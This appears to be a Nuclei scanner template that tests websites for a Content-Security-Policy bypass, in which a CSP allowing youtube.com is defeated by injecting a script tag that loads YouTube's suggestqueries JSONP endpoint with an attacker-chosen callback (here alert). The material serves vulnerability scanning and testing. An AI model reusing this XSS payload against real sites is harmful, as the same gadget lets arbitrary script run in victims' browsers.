id: youtube-suggestqueries-csp-bypass

info:
  name: Content-Security-Policy Bypass - YouTube SuggestQueries
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,youtube-suggestqueries

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "youtube.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: youtube_suggestqueries_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://suggestqueries-clients6.youtube.com/complete/search?client=youtube&q=$query&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "youtube_suggestqueries_csp_xss == true"
# digest: 490a00463044022037d4377d42ff084526ab51111dec944b018a1e83bf462e773c110567d711a76902202a55f14e13b905ec1633fd4ab97e0395feabf19656758ef875447f223d2a4eca:922c64590222798bb761d5b6d8e72950